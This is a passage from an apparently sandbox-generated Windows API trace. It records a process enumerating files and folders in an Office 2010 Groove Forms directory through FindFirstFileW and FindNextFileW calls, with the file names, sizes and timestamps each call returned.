ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="UNFORM~1.JPG")) returned 1 [0202.947] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnformattedNumeric.jpg", cAlternateFileName="UNFORM~1.JPG")) returned 0 [0202.947] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0202.948] GetProcessHeap () returned 0x550000 [0202.948] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264b110 | out: hHeap=0x550000) returned 1 [0202.948] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0202.948] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="FORMSB~1.HTM")) returned 1 [0202.948] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="FORMSB~2.HTM")) returned 1 [0202.949] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x805, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsDoNotTrust.html", cAlternateFileName="FORMSD~1.HTM")) returned 1 [0202.952] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc96, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="FORMSH~1.HTM")) returned 1 [0202.952] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x15fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="FORMSH~1.JS")) returned 1 [0202.952] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="FORMSH~1.CSS")) returned 1 [0202.952] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="FORMSP~2.HTM")) returned 1 [0202.952] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="FORMSP~1.HTM")) returned 1 [0202.952] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsTemplates", cAlternateFileName="FORMST~1")) returned 1 [0202.952] GetProcessHeap () returned 0x550000 [0202.952] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x264b110 [0202.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639948 [0202.958] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardware Tracker.fdt", cAlternateFileName="HARDWA~1.FDT")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x24051, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hiring Requisition - Customized.fdt", cAlternateFileName="HIRING~2.FDT")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x248db, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hiring Requisition.fdt", cAlternateFileName="HIRING~1.FDT")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a52fdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x17d6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POLICIES.FDT", cAlternateFileName="")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16b33, dwReserved0=0x0, dwReserved1=0x0, cFileName="Process Library.fdt", cAlternateFileName="PROCES~1.FDT")) returned 1 [0202.959] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x18ead, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status Report.fdt", cAlternateFileName="STATUS~1.FDT")) returned 1 [0202.960] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Track Issues.fdt", cAlternateFileName="TRACKI~1.FDT")) returned 1 [0202.960] FindNextFileW (in: hFindFile=0x639948, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Track Issues.fdt", cAlternateFileName="TRACKI~1.FDT")) returned 0 [0202.960] FindClose (in: hFindFile=0x639948 | out: hFindFile=0x639948) returned 1 [0202.961] GetProcessHeap () returned 0x550000 [0202.961] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x264b110 | out: hHeap=0x550000) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="FORMSV~1.BMP")) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="FORMSV~2.HTM")) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="FORMTO~1.JPG")) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveFormsMetaData.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0202.961] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENUS.JS", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5836a590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_arrow.gif", cAlternateFileName="MENU_A~1.GIF")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEARCH.GIF", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x103f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="UTILIT~1.JS")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.CSS", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x505b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0202.962] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWBY.GIF", cAlternateFileName="")) returned 1 [0202.963] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewDblClick.js", cAlternateFileName="VIEWDB~1.JS")) returned 1 [0202.963] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="VIEWHE~1.JPG")) returned 1 [0202.963] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="VIEWSE~1.JS")) returned 1 [0202.963] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="VIEWSE~1.JS")) returned 0 [0202.963] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0202.963] GetProcessHeap () returned 0x550000 [0202.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0202.963] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0202.963] GetProcessHeap () returned 0x550000 [0202.963] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0202.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, 